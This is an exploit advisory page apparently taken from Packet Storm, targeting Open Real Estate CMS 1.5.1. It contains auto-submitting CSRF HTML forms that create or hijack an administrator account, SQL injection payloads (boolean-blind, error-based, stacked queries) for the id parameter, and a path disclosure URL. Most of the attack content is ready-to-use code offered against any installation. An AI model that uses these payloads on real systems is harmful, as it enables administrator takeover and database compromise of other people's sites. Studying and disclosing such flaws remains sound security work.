exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Open Real Estate CMS 1.5.1 CSRF / Path Disclosure / SQL Injection

Open Real Estate CMS 1.5.1 CSRF / Path Disclosure / SQL Injection
Posted Aug 9, 2013
Authored by Yashar shahinzadeh

Open Real Estate CMS version 1.5.1 suffers from cross site request forgery, path disclosure, and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection, file inclusion, info disclosure, csrf
SHA-256 | 18a7cc01027a952a1c8ff2f3d301acd72b126bdb325df567f52c713fc167c5d4

Open Real Estate CMS 1.5.1 CSRF / Path Disclosure / SQL Injection

Change Mirror Download
###################################################################################################################################
# Exploit Title: Open Real Estate CMS - Multiple vilnerabilities
# Date: 2013 9 August
# Exploit Author: Yashar shahinzadeh
# Special thanks to Mormoroth
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir
# Vendor Homepage: http://monoray.net/products/6-open-real-estate
# Tested on: Linux & Windows, PHP 5.3.4
# Affected Version : 1.5.1
#
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir }
###################################################################################################################################

Summary:
========
1. CSRF - Adding/Editing administrator account
2. MySQL Injection
3. Local path disclosure

1. CSRF - Adding/Editing administrator account:
===============================================
Following exploits can be used against any site installed "Open Real Estate" CMS.

<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
action="http://localhost/OpenRealEstateV1.5.1_en/users/backend/main/create" method="post">
<input type="hidden" name="User[username]" value="yashar">
<input type="hidden" name="User[email]" value="y.shahinzadeh@gmail.com">
<input type="hidden" name="User[phone]" value="09169189680">
<input type="hidden" name="User[additional_info_en]" value="">
<input type="hidden" name="User[password]" value="6658912">
<input type="hidden" name="User[password_repeat]" value="6658912">
<input type="hidden" name="yt0" value="">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>

Once the exploit is excuted, an email will send to attacker's email containing activation link. Additionally, for modifying, the administrator's ID is 1, so attack may change the administrator's email address, then he/she may use forget password option and go through administrator panel.

<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
action="http://localhost/OpenRealEstateV1.5.1_en/users/backend/main/update?id=1" method="post">
<input type="hidden" name="User[username]" value="admin">
<input type="hidden" name="User[email]" value="y.shahinzadeh@gmail.com">
<input type="hidden" name="User[phone]" value="09169189680">
<input type="hidden" name="User[additional_info_en]" value="">
<input type="hidden" name="yt0" value="">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>



2. MySQL Injection:
===================
An attacker may conduct an attack by using MySQL injection after authentication so as to get higher access like uploading a shell script or etc... I just show the injection point and a small example of devastiating usage of it:

http://localhost/OpenRealEstateV1.5.1_en/apartments/backend/main/view=[Injection payload]

POC:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: id=" RLIKE IF(7309=7309,0x4d7953514c,0x28) AND "ymsG"="ymsG

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=" AND (SELECT 1454 FROM(SELECT COUNT(*),CONCAT(0x3a6b62653a,(SELECT (CASE WHEN (1454=1454) THEN 1 ELSE 0 END)),0x3a6c66753a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "KASA"="KASA

Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: id="; SELECT SLEEP(5)--
---



3. Local path disclosure:
=========================
There are some pages that are big leads to knowing local path, the path is valuable and can be used in Injection and... I would give an instance only:

http://localhost/OpenRealEstateV1.5.1_en/apartments/backend/main/view


/** Yasshar shahinzadeh **/
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    10 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close